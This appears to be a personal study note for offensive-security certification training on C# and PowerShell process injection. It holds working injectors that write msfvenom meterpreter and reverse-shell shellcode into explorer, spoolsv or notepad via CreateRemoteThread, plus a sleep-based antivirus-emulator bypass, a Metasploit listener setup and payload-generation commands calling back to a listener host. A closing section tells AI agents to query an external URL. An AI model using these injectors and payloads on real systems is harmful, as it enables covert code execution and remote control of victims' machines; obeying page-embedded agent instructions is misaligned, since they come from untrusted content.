# C# Process Injection

<pre data-title="C# shellcode:" data-overflow="wrap" data-full-width="true"><code><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp</a>
</code></pre>

{% code title="listner" overflow="wrap" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

## On disk shellcode injection to process

<pre class="language-csharp" data-title="injectshell.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
                
        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
           <a data-footnote-ref href="#user-content-fn-2"> Sleep(2000);</a>
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 &#x3C; 1.5)
            {
                return;
            }
            IntPtr hProcess = <a data-footnote-ref href="#user-content-fn-3">OpenProcess</a>(<a data-footnote-ref href="#user-content-fn-4">0x001F0FFF</a>, <a data-footnote-ref href="#user-content-fn-5">false</a>, <a data-footnote-ref href="#user-content-fn-6">4804</a>);
            IntPtr addr = <a data-footnote-ref href="#user-content-fn-7">VirtualAllocEx</a>(<a data-footnote-ref href="#user-content-fn-8">hProcess</a>, <a data-footnote-ref href="#user-content-fn-9">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-10">0x1000</a>, <a data-footnote-ref href="#user-content-fn-11">0x3000</a>, <a data-footnote-ref href="#user-content-fn-12">0x40</a>);

            <a data-footnote-ref href="#user-content-fn-13">byte[] buf = new byte[0]</a> {
             };
             
            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

            IntPtr outSize;
            <a data-footnote-ref href="#user-content-fn-14">WriteProcessMemory</a>(<a data-footnote-ref href="#user-content-fn-15">hProcess</a>, <a data-footnote-ref href="#user-content-fn-16">addr</a>, <a data-footnote-ref href="#user-content-fn-17">buf</a>, <a data-footnote-ref href="#user-content-fn-18">buf.Length</a>, <a data-footnote-ref href="#user-content-fn-19">out outSize</a>);

            IntPtr hThread = <a data-footnote-ref href="#user-content-fn-20">CreateRemoteThread</a>(<a data-footnote-ref href="#user-content-fn-8">hProcess</a>, <a data-footnote-ref href="#user-content-fn-21">IntPtr.Zero, 0</a>, <a data-footnote-ref href="#user-content-fn-22">addr</a>, <a data-footnote-ref href="#user-content-fn-23">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-24">0, IntPtr.Zero</a>);
        }
    }
}
</code></pre>

{% hint style="warning" %}
Remember to set the CPU architecture to x64 (both compiler & shellcode) since we are injecting into a 64-bit process

64-bit versions of Windows can run both 32 and 64-bit processes.&#x20;

This means that we could face four potential migration paths:&#x20;

64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit, ~~and 32-bit -> 64-bit~~.

The first three paths will work as expected. However, the fourth (32-bit -> 64-bit) will fail since `CreateRemoteThread`does not support this.
{% endhint %}

{% hint style="info" %}
The low-level native APIs *`NtCreateSection`*, *`NtMapViewOfSection`*, *`NtUnMapViewOfSection`*, and *`NtClose`* in **`ntdll.dll`** can be used as alternatives to *`VirtualAllocEx`* and *`WriteProcessMemory`*.
{% endhint %}

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-inject-payload-into-executable/>" %}

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-migrate/>" %}

{% code title="better" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace ex22
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static bool IsElevated
        {
            get
            {
                return WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
            }
        }
        static void Main(string[] args)
        {
            String procName = "";
            if (args.Length == 1)
            {
                procName = args[0];
            }
            else if (args.Length == 0)
            {
                // Inject based on elevation level
                if (IsElevated)
                {
                    Console.WriteLine("Process is elevated.");
                    procName = "spoolsv";
                }
                else
                {
                    Console.WriteLine("Process is not elevated.");
                    procName = "explorer";
                }
            }
            else
            {
                Console.WriteLine("Please give either one argument for a process to inject, e.g. \".\\ShInject.exe explorer\", or leave empty for auto-injection.");
                return;
            }

            Console.WriteLine($"Attempting to inject into '{procName}' process...");
            Process[] expProc = Process.GetProcessesByName(procName);
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

            if ((int)hProcess == 0)
            {
                Console.WriteLine($"Failed to get handle on PID {pid}.");
            }
            Console.WriteLine($"Got handle {hProcess} on '{procName}' PID {pid}.");

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine($"Allocated memory at address {addr} in handle {hProcess}.");

            // msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f csharp
            byte[] buf = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};

            IntPtr outSize;
            bool procMemResult = WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
            Console.WriteLine($"Wrote {outSize} payload bytes into {addr} (result: {procMemResult}).");

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            Console.WriteLine($"Created remote thread at address {hThread}. Check your listener.");
        }
    }
}
```

{% endcode %}

{% code title="powershell" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```powershell
function LookupFunc {
 
    Param ($moduleName, $functionName)
   
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
            Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')                                                                          
    $tmp = @()                                                               
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } }                                                                
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
   
function getDelegateType {
   
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
   
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
        [System.MulticastDelegate])
   
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
   
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
   
    return $type.CreateType()
}
   
$id = (Start-Process Notepad -passthru).ID
   
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [Int32]) ([IntPtr]))).Invoke(0x001F0FFF, $false, $id)
   
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
   
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1
   [Byte[]] $buf = 

   
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($hProcess, $lpMem, $buf, $buf.Length, [ref]0)
   
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
```

{% endcode %}

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}`

[^2]: [bypass AV emulator](/osep/attack/evasions.md#sleep)

[^3]: opening a channel from one process to another

[^4]: `PROCESS_ALL_ACCESS` to gain complete access to the process - will check against security descriptor (integrity level)

[^5]: do not care about whether child process to inherit this handle

[^6]: explorer.exe PID

[^7]: allocate memory for shellcode&#x20;

    (`VirtualAlloc` only works inside current process but not remote process)

[^8]: process handle obtained

[^9]: let the API select an unused address

[^10]: `MEM_COMMIT` size of desired allocation

[^11]: `MEM_RESERVE` allocation type

[^12]: `PAGE_EXECUTE_READWRITE` memory protection

[^13]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp`

[^14]: copy data to remote process&#x20;

    (`RtlMoveMemory` and *C# Copy* methods do not support remote copy)

[^15]: process handle

[^16]: newly allocated memory address in the target process

[^17]: address of the byte array containing the shellcode

[^18]: size to the shellcode to be copied

[^19]: pointer to a location in memory to output how much data was copied

    `out` keyword was prepended to the *outSize* variable to have it passed by reference instead of value. This ensures that the argument type aligns with the function prototype. The input buffer (`buf`) also needs to be a pointer but this is inherent in the C# array data type.

[^20]: execution

    (`CreateThread` does not support the creation of remote process threads)&#x20;

[^21]: accept default value for desired security descriptor of the new thread and its allowed stack size

[^22]: specify the starting address if the thread

    equal to the address of the buffer we allocated and copied our shellcode into inside the target process

[^23]: a pointer to variables which will be passed to the thread function pointed to by `lpStartAddress`. Since our shellcode does not need any parameters, we can pass a NULL here

[^24]: ignore various flags and an output variable for a thread ID


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/evasions/c-process-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
